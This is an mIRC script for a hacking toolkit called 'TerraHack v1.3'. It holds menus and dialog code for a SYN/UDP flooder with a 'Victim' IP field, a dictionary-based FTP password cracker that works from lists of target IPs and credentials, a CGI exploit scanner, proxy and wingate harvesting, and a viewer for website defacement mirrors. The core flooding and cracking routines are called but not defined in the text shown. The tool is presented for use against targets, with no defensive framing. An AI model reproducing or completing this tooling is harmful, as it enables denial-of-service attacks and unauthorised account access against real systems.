dialog Menu {
  title " ..::[ TerraHack v1.3 ]::.."
  size -1 -1 352 214
  box "",2, 208 8 125 194
  icon 22, 15 20 178 178, TerraHack\ter.jpg
  button "Hacker News",30, 215 20 110 20,
  button "Exploit Scan",32, 215 43 110 20,
  button "Syn Flood",33, 215 65 110 20,
  button "FTP Scan",34, 215 87 110 20,
  button "Net Info",31, 215 109 110 20,
  button "Mirrors",36, 215 131 110 20,
  button "Telnet",35, 215 153 110 20,
  button "Proxy",37, 215 176 110 20,
  button "Close",99, 240 1830 3 2, cancel
}
on 1:DIALOG:Menu:init:*: { }
on *:DIALOG:Menu:sclick:*: {
  if ($did == 30) { hacknews }
  if ($did == 31) { dialog -md netstat netstat }
  if ($did == 32) { dialog -md cgiscan cgiscan }
  if ($did == 33) { dialog -md syn syn | did -e syn 6 | did -b syn 7 | .splay $mircdir\TerraHack\beep.wav }
  if ($did == 34) { dialog -md ftps ftps }
  if ($did == 35) { dialog -md teln79 teln79 }
  if ($did == 36) { dialog -md dnews dnews | .splay $mircdir\TerraHack\beep.wav }
  if ($did == 37) { dialog -md px px }
}
dialog teln79 {
  title "Telnet Client" 
  size -1 -1 300 80
  box "",3, 4 0 292 76
  button "Connect" , 1, 12 43 275 20, OK
  button "Cancel" , 2, 700 70 50 25, cancel
  text "Server:" , 21,  12 18 70 20, left
  text "Port:" , 22,  210 18 23 20, left
  edit "" , 23, 50 15 150 20,
  edit "" , 24, 235 15 50 20,
}
on *:DIALOG:teln79:init:*: { }
on *:DIALOG:teln79:sclick:*: { if ($did == 1) { telnetx79 $did(teln79,23) $did(teln79,24) | .splay $mircdir\TerraHack\beep.wav } }
dialog ftps {
  title "FTP Passwd Cracker"
  size -1 -1 171 340
  box "Dictionary Cracker",1, 3 0 165 337
  list 8, 10 15 150 190,
  list 9, 10 195 150 30,
  list 10, 10 213 150 30,
  list 11, 10 231 150 30,
  list 12, 10 249 150 30,
  list 13, 10 267 150 30,
  list 14, 10 285 150 30,
  button "Start",34, 11 310 47 20,
  button "Setup",36, 62 310 47 20,
  button "Stop",37, 113 310 47 20,
  button "Close",35, 440 183 13 24, cancel
}
on *:dialog:ftps:sclick:*: {
  if ($did == 34) {
    .splay $mircdir\TerraHack\beep.wav
    set %sockclose host
    set %readtimes1 0
    set %readtimes 1
    unset %site
    did -r ftps 8
    did -a ftps 8 -[ Scan Started ]-
    did -r ftps 9
    did -r ftps 10
    did -r ftps 11
    did -r ftps 12
    did -r ftps 13
    did -r ftps 14
    timer941 off
    if (%socks79 == 1) { startftps1 1 }
    if (%socks79 == 2) { startftps1 1 | startftps1 2 }
    if (%socks79 == 3) { startftps1 1 | startftps1 2 | startftps1 3 }
    if (%socks79 == 4) { startftps1 1 | startftps1 2 | startftps1 3 | startftps1 4 }
    if (%socks79 == 5) { startftps1 1 | startftps1 2 | startftps1 3 | startftps1 4 | startftps1 5 }
    if (%socks79 == 6) { startftps1 all }
  }
  if ($did == 36) { dialog -mdrvo setftps setftps }
  if ($did == 37) { set %sockclose me | /sockclose FTPs* | .splay $mircdir\TerraHack\beep.wav | did -a ftps 8 -[ Scan Stopped ]- | .timer94* off }
  if ($did == 35) { set %sockclose me | /sockclose FTPs* | did -a ftps 8 -[ Scan Stopped ]- | .timer94* off }
}
on 1:dialog:ftps:init:*: {
  did -a ftps 8 -[ Socket Progress ]-
  did -a ftps 9 -[ Socket 1 Connection ]-
  did -a ftps 10 -[ Socket 2 Connection ]-
  did -a ftps 11 -[ Socket 3 Connection ]-
  did -a ftps 12 -[ Socket 4 Connection ]-
  did -a ftps 13 -[ Socket 5 Connection ]-
  did -a ftps 14 -[ Socket 6 Connection ]-
}
dialog setftps {
  title "Setup Wizzard"
  size -1 -1 300 97
  box "",1, 4 0 292 92
  list 8, 10 15 280 30,
  button "Log",31, 10 40 90 20,
  button "Servers",32, 105 40 90 20,
  button "Accounts",33, 200 40 90 20,
  button "Speed",34, 10 65 280 20,
  button "Close",35, 440 183 13 24, cancel
}
on 1:dialog:setftps:init:*: { did -a setftps 8 - Configuration }
on *:dialog:setftps:sclick:*: {
  if ($did == 31) {
    did -ra setftps 8 - This is where the results will go to. Feel free to clean it.
    run notepad TerraHack\Results.log
  }
  if ($did == 32) {
    did -ra setftps 8 - Enter the IP's you are going to scan.
    run notepad TerraHack\Servers
  }
  if ($did == 33) {
    did -ra setftps 8 - Enter the Usernames and Passwords to scan.
    run notepad TerraHack\User-Pass
  }
  if ($did == 34) {
    did -ra setftps 8 - The amount of sockets  to connect. Default is 4.
    dialog -ma sockets sockets
  }
  if ($did == 36) {
    did -ra setftps 8 - Timeout in seconds. Default is 10.
  }
}
dialog sockets {
  title "Speed"
  size -1 -1 253 90
  box "Amount of Sockets (default is 3)",1, 4 0 245 40
  box "Timeout in Seconds (default is 10)",2, 4 45 245 40
  check "1",31, 10 15 30 20,
  check "2",32, 50 15 30 20,
  check "3",33, 90 15 30 20,
  check "4",34, 130 15 30 20,
  check "5",35, 170 15 30 20,
  check "6",36, 210 15 30 20,
  check "4",41, 10 60 30 20,
  check "6",42, 50 60 30 20,
  check "8",43, 90 60 30 20,
  check "10",44, 130 60 30 20,
  check "12",45, 170 60 30 20,
  check "14",46, 210 60 30 20,
  button "Close",37, 440 183 13 24, cancel
}
on *:dialog:sockets:sclick:*: {
  if ($did == 31) { set %socks79 1 }
  if ($did == 32) { set %socks79 2 }
  if ($did == 33) { set %socks79 3 }
  if ($did == 34) { set %socks79 4 }
  if ($did == 35) { set %socks79 5 }
  if ($did == 36) { set %socks79 6 }
  if ($did == 41) { set %lag79 4 }
  if ($did == 42) { set %lag79 6 }
  if ($did == 43) { set %lag79 8 }
  if ($did == 44) { set %lag79 10 }
  if ($did == 45) { set %lag79 12 }
  if ($did == 46) { set %lag79 14 }
}
dialog netstat {
  title "Netstat"
  size -1 -1 403 390
  box "",1, 3 0 397 386
  box "Netstat",2, 10 9 383 44
  button "Connections",30, 17 24 90 24,
  button "Routetable",32, 110 24 90 24,
  button "Protocols",33, 203 24 90 24,
  button "Ethernet",31, 296 24 90 24,
  box "Remote",4, 10 54 383 44
  button "Whois Query",34, 17 69 184 24,
  button "Traceroute",35, 204 69 182 24,
  button "Close",36, 450 3 1 4, cancel
  list 8, 10 112 383 290,
}
on 1:DIALOG:netstat:init:*: { .write -c TerraHack\log.tmp }
on *:DIALOG:netstat:sclick:*: {
  if ($did == 30) { .splay $mircdir\TerraHack\beep.wav | dialog -o netstat | .run TerraHack\tools.bat nsa | did -r netstat 8 | .timer181 1 1 dialog -n netstat }
  if ($did == 31) { .splay $mircdir\TerraHack\beep.wav | dialog -o netstat | .run TerraHack\tools.bat nse | did -r netstat 8 | .timer180 1 3 netprinter | .timer181 1 1 dialog -n netstat }
  if ($did == 32) { .splay $mircdir\TerraHack\beep.wav | dialog -o netstat | .run TerraHack\tools.bat nsr | did -r netstat 8 | .timer181 1 1 dialog -n netstat }
  if ($did == 33) { .splay $mircdir\TerraHack\beep.wav | dialog -o netstat | .run TerraHack\tools.bat nss | did -r netstat 8 | .timer180 1 3 netprinter | .timer181 1 1 dialog -n netstat }
  if ($did == 34) { dialog -md whox whox }
  if ($did == 35) { dialog -md entertrx entertrx }
}
dialog whox {
  title "Whois Query" 
  size -1 -1 220 80
  box "",3, 4 0 212 76
  button "Whois" , 1, 12 43 193 20, OK
  button "Cancel" , 2, 700 70 50 25, cancel
  text "Host:" , 21, 12 18 50 20, left
  edit "" , 23, 55 15 150 20,
}
on *:DIALOG:whox:init:*: { }
on *:DIALOG:whox:sclick:*: { if ($did == 1) { if ($did(whox,23).visible == $true) { if ($did(whox,23).text != $null) { set %whoizerx $did(whox,23).text | whoiserx } } } }
dialog px {
  title "Retrieve:" 
  size -1 -1 125 67
  box "",3, 4 0 117 63
  button "Wingates" , 1, 12 13 100 20,
  button "Proxies" , 2, 12 36 100 20,
  button "Cancel" , 99, 700 70 50 25, cancel
}
on *:dialog:px:sclick:*: {
  if ($did == 1) { proxiex wingate }
  if ($did == 2) { proxiex proxy }
}
alias netprinter {
  set %printtimer 1
  :starter
  if (%printtimer != 57) inc %printtimer
  if (%printtimer == 57) goto end
  did -a netstat 8 $read -l $+ %printtimer TerraHack\log.tmp
  goto starter
  :end
}
dialog entertrx {
  title "Traceroute" 
  size -1 -1 220 80
  box "",3, 4 0 212 76
  button "Trace" , 1, 12 43 193 20, OK
  button "Cancel" , 2, 700 70 50 25, cancel
  text "Host:" , 21,  12 18 50  20, left
  edit "" , 23, 55 15 150 20,
}
on *:DIALOG:entertrx:init:*: { }
on *:DIALOG:entertrx:sclick:*: { if ($did == 1) { if ($did(entertrx,23).visible == $true) { if ($did(entertrx,23).text != $null) { set %tracer79 $did(entertrx,23).text | dialog -c entertrx | dialog -o netstat | .run TerraHack\tools.bat trx %tracer79 | .splay $mircdir\TerraHack\beep.wav | did -r netstat 8 | .timer181 1 1 dialog -n netstat } } } }
dialog syn {
  size -1 -1 153 119
  title "SYN Flooder"
  box "",79, 3 0 147 115
  box "",78, 3 77 147 38
  button "",500,0 0 0 0,ok
  text "Victim:",2,9 15 35 30
  edit "Enter IP Number",3,42 10 100 20 100
  text "Port:",4,9 35 25 30
  edit "113",5,42 31 40 20
  text "Packets Sent:",10,9 92 85 30
  list 11, 90 89 53 30
  button "Start",6,9 57 66 19,center
  button "Stop",7,78 57 66 19,center
  check "UDP:",9,91 32 50 20, left
}
on *:dialog:syn:*:*:{
  if $did == 6 {
    unset %syncount
    if $did(9).state == 1 {
      /updsyn $did(3).text $did(5).text
      /did -e syn 7
      /did -b syn 6
      /did -b syn 9
      halt
    }
    syn $did(3).text $did(5).text 
    /did -e syn 7
    /did -b syn 6
    /did -b syn 9
  }
  if $did == 7 {
    /did -e syn 6
    /did -b syn 7
    /did -e syn 9
    synoff
  }
}
dialog dnews {
  title "Attrition Defacement Mirrors"
  size -1 -1 463 365
  box " [Date]        [OS]  [Group/Person]       [Site] (click to view the mirror) ",1, 3 0 455 358
  button "Close",99, 950 3 1 1, cancel
  button " ",31, 435 22 15 13,
  button " ",32, 435 35 15 13,
  button " ",33, 435 48 15 13,
  button " ",34, 435 61 15 13,
  button " ",35, 435 74 15 13,
  button " ",36, 435 87 15 13,
  button " ",37, 435 100 15 13,
  button " ",38, 435 113 15 13,
  button " ",39, 435 126 15 13,
  button " ",40, 435 139 15 13,
  button " ",41, 435 152 15 13,
  button " ",42, 435 165 15 13,
  button " ",43, 435 178 15 13,
  button " ",44, 435 191 15 13,
  button " ",45, 435 204 15 13,
  button " ",46, 435 217 15 13,
  button " ",47, 435 230 15 13,
  button " ",48, 435 243 15 13,
  button " ",49, 435 256 15 13,
  button " ",50, 435 269 15 13,
  button " ",51, 435 282 15 13,
  button " ",52, 435 295 15 13,
  button " ",53, 435 308 15 13,
  button " ",54, 435 321 15 13,
  button " ",55, 435 334 15 13,
  list 8, 10 20 57 350,
  list 9, 66 20 26 350,
  list 10, 91 20 96 350,
  list 11, 186 20 250 350,
}
on 1:dialog:dnews:init:*: {
  did -a dnews 11 -[ Loading... ]-
  unset %hcount
  unset %halterz.*
  retr79 attrition.org /mirror/attrition/index.html ~~~~
}
on *:dialog:dnews:sclick:*: {
  if ($did == 31) { run $replace(%halterz.1,-----------------------------------[error]--------------------------------------,http://www.attrition.org/mirror/attrition/) }
  if ($did == 32) { run $replace(%halterz.2,-----------------------------------[error]--------------------------------------,http://www.attrition.org/mirror/attrition/) }
  if ($did == 33) { run $replace(%halterz.3,-----------------------------------[error]--------------------------------------,http://www.attrition.org/mirror/attrition/) }
  if ($did == 34) { run $replace(%halterz.4,-----------------------------------[error]--------------------------------------,http://www.attrition.org/mirror/attrition/) }
  if ($did == 35) { run $replace(%halterz.5,-----------------------------------[error]--------------------------------------,http://www.attrition.org/mirror/attrition/) }
  if ($did == 36) { run $replace(%halterz.6,-----------------------------------[error]--------------------------------------,http://www.attrition.org/mirror/attrition/) }
  if ($did == 37) { run $replace(%halterz.7,-----------------------------------[error]--------------------------------------,http://www.attrition.org/mirror/attrition/) }
  if ($did == 38) { run $replace(%halterz.8,-----------------------------------[error]--------------------------------------,http://www.attrition.org/mirror/attrition/) }
  if ($did == 39) { run $replace(%halterz.9,-----------------------------------[error]--------------------------------------,http://www.attrition.org/mirror/attrition/) }
  if ($did == 40) { run $replace(%halterz.10,-----------------------------------[error]--------------------------------------,http://www.attrition.org/mirror/attrition/) }
  if ($did == 41) { run $replace(%halterz.11,-----------------------------------[error]--------------------------------------,http://www.attrition.org/mirror/attrition/) }
  if ($did == 42) { run $replace(%halterz.12,-----------------------------------[error]--------------------------------------,http://www.attrition.org/mirror/attrition/) }
  if ($did == 43) { run $replace(%halterz.13,-----------------------------------[error]--------------------------------------,http://www.attrition.org/mirror/attrition/) }
  if ($did == 44) { run $replace(%halterz.14,-----------------------------------[error]--------------------------------------,http://www.attrition.org/mirror/attrition/) }
  if ($did == 45) { run $replace(%halterz.15,-----------------------------------[error]--------------------------------------,http://www.attrition.org/mirror/attrition/) }
  if ($did == 46) { run $replace(%halterz.16,-----------------------------------[error]--------------------------------------,http://www.attrition.org/mirror/attrition/) }
  if ($did == 47) { run $replace(%halterz.17,-----------------------------------[error]--------------------------------------,http://www.attrition.org/mirror/attrition/) }
  if ($did == 48) { run $replace(%halterz.18,-----------------------------------[error]--------------------------------------,http://www.attrition.org/mirror/attrition/) }
  if ($did == 49) { run $replace(%halterz.19,-----------------------------------[error]--------------------------------------,http://www.attrition.org/mirror/attrition/) }
  if ($did == 50) { run $replace(%halterz.20,-----------------------------------[error]--------------------------------------,http://www.attrition.org/mirror/attrition/) }
  if ($did == 51) { run $replace(%halterz.21,-----------------------------------[error]--------------------------------------,http://www.attrition.org/mirror/attrition/) }
  if ($did == 52) { run $replace(%halterz.22,-----------------------------------[error]--------------------------------------,http://www.attrition.org/mirror/attrition/) }
  if ($did == 53) { run $replace(%halterz.23,-----------------------------------[error]--------------------------------------,http://www.attrition.org/mirror/attrition/) }
  if ($did == 54) { run $replace(%halterz.24,-----------------------------------[error]--------------------------------------,http://www.attrition.org/mirror/attrition/) }
  if ($did == 55) { run $replace(%halterz.25,-----------------------------------[error]--------------------------------------,http://www.attrition.org/mirror/attrition/) }
}
alias defprint1 {
  did -r dnews 11
  set %deff79 2
  defprint2
}
alias defprint2 {
  if (%deff79 == 27) { halt }
  unset %param793
  unset %param79
  inc %deff79
  set %defpr $read -l $+ %deff79 terrahack\log.tmp
  set %defpr2 $replace(%defpr,">,index.html -[,href=",-----------------------------------[error]--------------------------------------,M <a,<a,C <a,<a,</a>,]- halter) %defpr
  defprint3 %defpr2
}
alias defprint3 {
  did -a dnews 8 $1
  did -a dnews 9 $2
  set %param793 $3
  if ( *] iswm $4 ) { unset %param793 | set %param793 $3 $4 | set %param79 yep }
  did -a dnews 10 %param793
  if (%param79 == yep) {
    if ($8 == halter) { set %halter $7 | did -a dnews 11 %halter | inc %hcount | webfilter 8 1 %defpr2 | defprint2 | halt }
    if ($9 == halter) { set %halter $7 $8 | did -a dnews 11 %halter | inc %hcount | webfilter 9 1 %defpr2 | defprint2 | halt }
    if ($10 == halter) { set %halter $7 $8 $9 | did -a dnews 11 %halter | inc %hcount | webfilter 10 1 %defpr2 | defprint2 | halt }
    if ($11 == halter) { set %halter $7 $8 $9 $10 | did -a dnews 11 %halter | inc %hcount | webfilter 11 1 %defpr2 | defprint2 | halt }
    if ($12 == halter) { set %halter $7 $8 $9 $10 $11 | did -a dnews 11 %halter | inc %hcount | webfilter 12 1 %defpr2 | defprint2 | halt }
    if ($13 == halter) { set %halter $7 $8 $9 $10 $11 $12 | did -a dnews 11 %halter | inc %hcount | webfilter 13 1 %defpr2 | defprint2 | halt }
    if ($14 == halter) { set %halter $7 $8 $9 $10 $11 $12 $13 | did -a dnews 11 %halter | inc %hcount | webfilter 14 1 %defpr2 | defprint2 | halt }
    if ($15 == halter) { set %halter $7 $8 $9 $10 $11 $12 $13 $14 | did -a dnews 11 %halter | inc %hcount | webfilter 15 1 %defpr2 | defprint2 | halt }
    if ($16 == halter) { set %halter $7 $8 $9 $10 $11 $12 $13 $14 $15 | did -a dnews 11 %halter | inc %hcount | webfilter 15 1 %defpr2 | defprint2 | halt }
    if ($17 == halter) { set %halter $7 $8 $9 $10 $11 $12 $13 $14 $15 $16 | did -a dnews 11 %halter | inc %hcount | webfilter 15 1 %defpr2 | defprint2 | halt }
    if ($18 == halter) { set %halter $7 $8 $9 $10 $11 $12 $13 $14 $15 $16 $17 | did -a dnews 11 %halter | inc %hcount | webfilter 15 1 %defpr2 | defprint2 | halt }
    if ($19 != halter) { set %halter $7 $8 $9 $10 $11 $12 $13 $14 $15 $16 $17 | did -a dnews 11 %halter | inc %hcount | webfilter 15 1 %defpr2 | defprint2 | halt }
  }
  if (%param79 != yep) {
    if ($7 == halter) { set %halter $6 | did -a dnews 11 %halter | inc %hcount | webfilter 7 2 %defpr2 | defprint2 | halt }
    if ($8 == halter) { set %halter $6 $7 | did -a dnews 11 %halter | inc %hcount | webfilter 8 2 %defpr2 | defprint2 | halt }
    if ($9 == halter) { set %halter $6 $7 $8 | did -a dnews 11 %halter | inc %hcount | webfilter 9 2 %defpr2 | defprint2 | halt }
    if ($10 == halter) { set %halter $6 $7 $8 $9 | did -a dnews 11 %halter | inc %hcount | webfilter 10 2 %defpr2 | defprint2 | halt }
    if ($11 == halter) { set %halter $6 $7 $8 $9 $10 | did -a dnews 11 %halter | inc %hcount | webfilter 11 2 %defpr2 | defprint2 | halt }
    if ($12 == halter) { set %halter $6 $7 $8 $9 $10 $11 | did -a dnews 11 %halter | inc %hcount | webfilter 12 2 %defpr2 | defprint2 | halt }
    if ($13 == halter) { set %halter $6 $7 $8 $9 $10 $11 $12 | did -a dnews 11 %halter | inc %hcount | webfilter 13 2 %defpr2 | defprint2 | halt }
    if ($14 == halter) { set %halter $6 $7 $8 $9 $10 $11 $12 $13 | did -a dnews 11 %halter | inc %hcount | webfilter 14 2 %defpr2 | defprint2 | halt }
    if ($15 == halter) { set %halter $6 $7 $8 $9 $10 $11 $12 $13 $14 | did -a dnews 11 %halter | inc %hcount | webfilter 14 2 %defpr2 | defprint2 | halt }
    if ($16 == halter) { set %halter $6 $7 $8 $9 $10 $11 $12 $13 $14 $15 | did -a dnews 11 %halter | inc %hcount | webfilter 14 2 %defpr2 | defprint2 | halt }
    if ($17 == halter) { set %halter $6 $7 $8 $9 $10 $11 $12 $13 $14 $15 $16 | did -a dnews 11 %halter | inc %hcount | webfilter 14 2 %defpr2 | defprint2 | halt }
    if ($18 != halter) { set %halter $6 $7 $8 $9 $10 $11 $12 $13 $14 $15 $16 | did -a dnews 11 %halter | inc %hcount | webfilter 14 2 %defpr2 | defprint2 | halt }
    if ($19 == halter) { set %halter $6 $7 $8 $9 $10 $11 $12 $13 $14 $15 $16 | did -a dnews 11 %halter | inc %hcount | webfilter 14 2 %defpr2 | defprint2 | halt }
  }
  if (%deff79 == 27) { unset %hcount | halt }
  defprint2
  unset %param793
  unset %param79
}
